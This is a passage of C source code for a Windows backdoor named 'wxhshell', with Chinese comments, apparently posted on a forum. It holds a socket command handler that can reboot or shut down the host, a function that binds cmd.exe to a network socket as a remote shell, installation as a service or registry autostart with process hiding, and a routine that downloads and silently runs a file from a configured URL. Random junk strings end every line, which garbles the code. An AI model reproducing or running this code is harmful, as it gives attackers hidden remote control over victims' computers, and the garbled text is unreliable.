      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9pehQFfH  
    break; IXz)xdP  
  } y%wjQC 0~  
  // 安装 l ;fO]{  
  case 'i': { r;~2NxMF/  
    if(Install()) 'Cq)/}0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C7hJE -  
    else >EJ`Z7E6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r ?e''r  
    break; !#b8QER  
    } 9_/dj"5  
  // 卸载 Vs:x3)m5j  
  case 'r': { K'DRX85F  
    if(Uninstall()) F?3zw4Vt~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HOPi2nf{  
    else @`D`u16]i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7hq$vI%0  
    break; N H$!<ffz  
    } 5@3hb]J  
  // 显示 wxhshell 所在路径 ej^pFo  
  case 'p': { '|jN!y^ 2p  
    char svExeFile[MAX_PATH]; v;_k*y[VV$  
    strcpy(svExeFile,"\n\r"); >'MT]@vez  
      strcat(svExeFile,ExeFile); 0CtPq`!  
        send(wsh,svExeFile,strlen(svExeFile),0); \-2O&v'}  
    break; k O8W>  
    } \c .^^8r  
  // 重启 ;q ;}2  
  case 'b': { K7jz*|2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j 56Dt_  
    if(Boot(REBOOT)) ` yXJaTbo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); exfJm'R?n  
    else { )r +o51gp  
    closesocket(wsh); q'zV9  
    ExitThread(0); /bBFPrW  
    } G*].g['  
    break; ,|Xibfw  
    } { d*?O  
  // 关机 sDF5  
  case 'd': { ~A-1x!YiU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M<KWx'uV  
    if(Boot(SHUTDOWN)) aplOo[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TTZ@ q  
    else { $Lf-Gi  
    closesocket(wsh); @x4IxGlUs  
    ExitThread(0); D?Y j5eOa  
    } LNU#NJ^Axt  
    break; u&7c2|Q  
    } JPt0k  
  // 获取shell OqW (C  
  case 's': { d7)EzW|I;  
    CmdShell(wsh); PRpW*#"EI  
    closesocket(wsh); 8t$w/#'@  
    ExitThread(0); qEW3k),  
    break; :~gG]|F  
  } E5EAk6  
  // 退出 q n2X._`  
  case 'x': { 8`? vWJS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `~S ; UG   
    CloseIt(wsh); ~,: FZ1wh  
    break; gb,X"ODq  
    } g5,Bj  
  // 离开 __Tg1A  
  case 'q': { 3ug-cq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _w\A=6=q|  
    closesocket(wsh); =Kh1 HU.F  
    WSACleanup(); ' 6#en9{L  
    exit(1); Kz`g Q|S  
    break; { :~&#D  
        } pZA0Go2!IN  
  } =u,8(:R]s  
  } hiM nU  
{:!CA/0Jx  
  // 提示信息  E qc,/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kd3vlp  
} fZ6"DJZ  
  } PRyZ; @  
&!=[.1H<  
  return; ='"hB~[  
} hDsSOpj  
= "N?v-  
// shell模块句柄 61"w>;d6  
int CmdShell(SOCKET sock) #;WKuRv   
{ U<"@@``+N  
STARTUPINFO si; 1P17]j2C  
ZeroMemory(&si,sizeof(si)); ow!NH,'Hy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2xEG s Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oTjsiXS  
PROCESS_INFORMATION ProcessInfo; ;xKPa6`E  
char cmdline[]="cmd"; |@Mx? (  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K:3u/C`  
  return 0; btZ9JZvMx  
} I6B`G Im5  
8U$(9X  
// 自身启动模式 ]g0h7q)79  
int StartFromService(void) o8A1cb4<T  
{ D+u#!t[q  
typedef struct X\yy\`o  
{ 4sCzUvI~Y1  
  DWORD ExitStatus; Dno'-{-  
  DWORD PebBaseAddress; `uN}mC!r]  
  DWORD AffinityMask; #@cOyxUt  
  DWORD BasePriority; )^^Eh=Kbj  
  ULONG UniqueProcessId; $afE= qC*  
  ULONG InheritedFromUniqueProcessId; E/6@>.T?'  
}   PROCESS_BASIC_INFORMATION; {"x>ewAf  
4U1!SR]s  
PROCNTQSIP NtQueryInformationProcess; `YinhO:Z  
OlwORtWzZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |sIr}}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f#mcW L1}  
GqT 0SP  
  HANDLE             hProcess; jLy3c@Dp  
  PROCESS_BASIC_INFORMATION pbi; Y>l92=G  
z|5Sy.H>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <PayP3E  
  if(NULL == hInst ) return 0; 2VgDM6h  
d>f.p"B.gj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0kp#+&)+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q-qM"8I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P t)Ni  
A3#^R%2)W  
  if (!NtQueryInformationProcess) return 0; bx5f\)  
3r[}'ba\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H}[kit*9  
  if(!hProcess) return 0; R;{y]1u  
r-,P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y4 <  
XC D&Im  
  CloseHandle(hProcess); -hpJL\ng  
P`$"B0B)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;<9dND  
if(hProcess==NULL) return 0; ~ }g"Fe  
hA0g'X2eC  
HMODULE hMod; g+xA0qW  
char procName[255]; 06dk K )`  
unsigned long cbNeeded; bhqs%B!:  
"{&?t}rj+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j=Co  
9PM\D@A{  
  CloseHandle(hProcess); :*`5|'G}  
n.a55uy  
if(strstr(procName,"services")) return 1; // 以服务启动 jQgy=;?Lwm  
iO 9fg  
  return 0; // 注册表启动 fF"\$Ny  
} j%V95M% $  
Gh:hfHiG  
// 主模块 r@XH=[:  
int StartWxhshell(LPSTR lpCmdLine) fF\s5f#:  
{ )U~,q>H+ %  
  SOCKET wsl; Y~j )B\^{  
BOOL val=TRUE; '^!1AGF  
  int port=0; a IA9rn  
  struct sockaddr_in door; Eed5sm$H  
\+STl#3*q  
  if(wscfg.ws_autoins) Install(); (}|QSf:  
,dG2[<?o  
port=atoi(lpCmdLine); %O! ~!'  
<![]=~z $  
if(port<=0) port=wscfg.ws_port; k70o=}  
6;:s N8M+1  
  WSADATA data; S"/M+m+ ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T"NDL[*  
{}#W~1`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +] .Zs<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T/A[C  
  door.sin_family = AF_INET; #})OnM^],  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M u>G gQSZ  
  door.sin_port = htons(port); |BO!q9633V  
BaLvlB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RbY=O OQ  
closesocket(wsl); {NS6y\,  
return 1; 78iu<L+If  
} 5$(qnOi  
ncGg@$E  
  if(listen(wsl,2) == INVALID_SOCKET) { L*rND15  
closesocket(wsl); *gJ:irah  
return 1; # -0}r  
} 0&YW#L|J  
  Wxhshell(wsl); ^Ia:e ?)W  
  WSACleanup(); ~BS Ip .  
;~2RWj=-  
return 0; w=UFj  
)o:%Zrk  
} aBH!K   
&at^~ o  
// 以NT服务方式启动 }i"\?M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S#kA$yO  
{ '`/Qr~]  
DWORD   status = 0; Vm_waa  
  DWORD   specificError = 0xfffffff; U^ec g{  
,:Q+>h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /4]<ro67E6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nkv+O$LXP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dK5|tWJX  
  serviceStatus.dwWin32ExitCode     = 0; Q :<&<i=I  
  serviceStatus.dwServiceSpecificExitCode = 0; kb27$4mm  
  serviceStatus.dwCheckPoint       = 0; $rb #k{  
  serviceStatus.dwWaitHint       = 0; ?8g*"& cn  
l;N?*2zm[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?gp:uxq,.  
  if (hServiceStatusHandle==0) return; * [\H)Lz  
0""t`y&  
status = GetLastError(); i #uc  
  if (status!=NO_ERROR) ?!h jI;_&  
{ ) r8yt}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &vDK6w,  
    serviceStatus.dwCheckPoint       = 0; IfK%i/J  
    serviceStatus.dwWaitHint       = 0; !`3q9RT3."  
    serviceStatus.dwWin32ExitCode     = status; 9]{(~=D7  
    serviceStatus.dwServiceSpecificExitCode = specificError; , ;'y <GA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eQiK\iDS  
    return; oj|\NlR  
  } .4jU G=  
z qM:'x*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Au-_6dT  
  serviceStatus.dwCheckPoint       = 0; @Kx@ 2#~b  
  serviceStatus.dwWaitHint       = 0; s/;iZiWK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lWVvAoe  
} X9J&OQ  
c v .R`)l  
// 处理NT服务事件,比如:启动、停止 6AM-^S@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (1t b  
{ -HE@wda  
switch(fdwControl) ^ #6Ei9di  
{ -^Pn4y]A)  
case SERVICE_CONTROL_STOP: k>2tC<  
  serviceStatus.dwWin32ExitCode = 0; =JqKdLH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7j9X<8 *  
  serviceStatus.dwCheckPoint   = 0; _'W en  
  serviceStatus.dwWaitHint     = 0; jkzC^aG  
  { l7+[Zn/v *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nB; yS<  
  } j4!g&F _y  
  return; lURL;h  
case SERVICE_CONTROL_PAUSE: "kS(b4^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]r|nz~Aa$  
  break; U{8]TEv  
case SERVICE_CONTROL_CONTINUE: %ut^ O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NZP>aV-  
  break; ^}F@*A;o  
case SERVICE_CONTROL_INTERROGATE: c" |4'#S  
  break; 1<Z~Gw4  
}; 4iDlBs+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >~nc7j u  
} d0b`qk @4  
gcaXN6C  
// 标准应用程序主函数 ckglDhC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )L,.K O  
{ Yv!r>\#0S  
._6|epJ#  
// 获取操作系统版本 >+9f{FP 9  
OsIsNt=GetOsVer(); Tlz $LI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZwC\n(_y  
|#87|XIJ&~  
  // 从命令行安装 aUqVcEU1  
  if(strpbrk(lpCmdLine,"iI")) Install(); +d$l1j  
ls^| j%$J  
  // 下载执行文件 Y[0  
if(wscfg.ws_downexe) { 7sC8|+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $@ous4&  
  WinExec(wscfg.ws_filenam,SW_HIDE); /C'dW  
} b?=>)':f  
OdZLJt?g  
if(!OsIsNt) { g[#4`Q<.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zx1I&K\Cd  
HideProc(); (_9cL,v  
StartWxhshell(lpCmdLine); q=_&izmE'7  
} B.J_(V+  
else lT<4c5 %  
  if(StartFromService()) Zi!6dl ev  
  // 以服务方式启动 JdP[ cN  
  StartServiceCtrlDispatcher(DispatchTable); ZRK1 UpP  
else Fz3QSr7FU  
  // 普通方式启动 iG.qMf.  
  StartWxhshell(lpCmdLine); _#kjiJj *  
5Tb3Yy< .  
return 0; 53i7:1[uV  
}
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只看该作者 1 发表于: 2006-10-10
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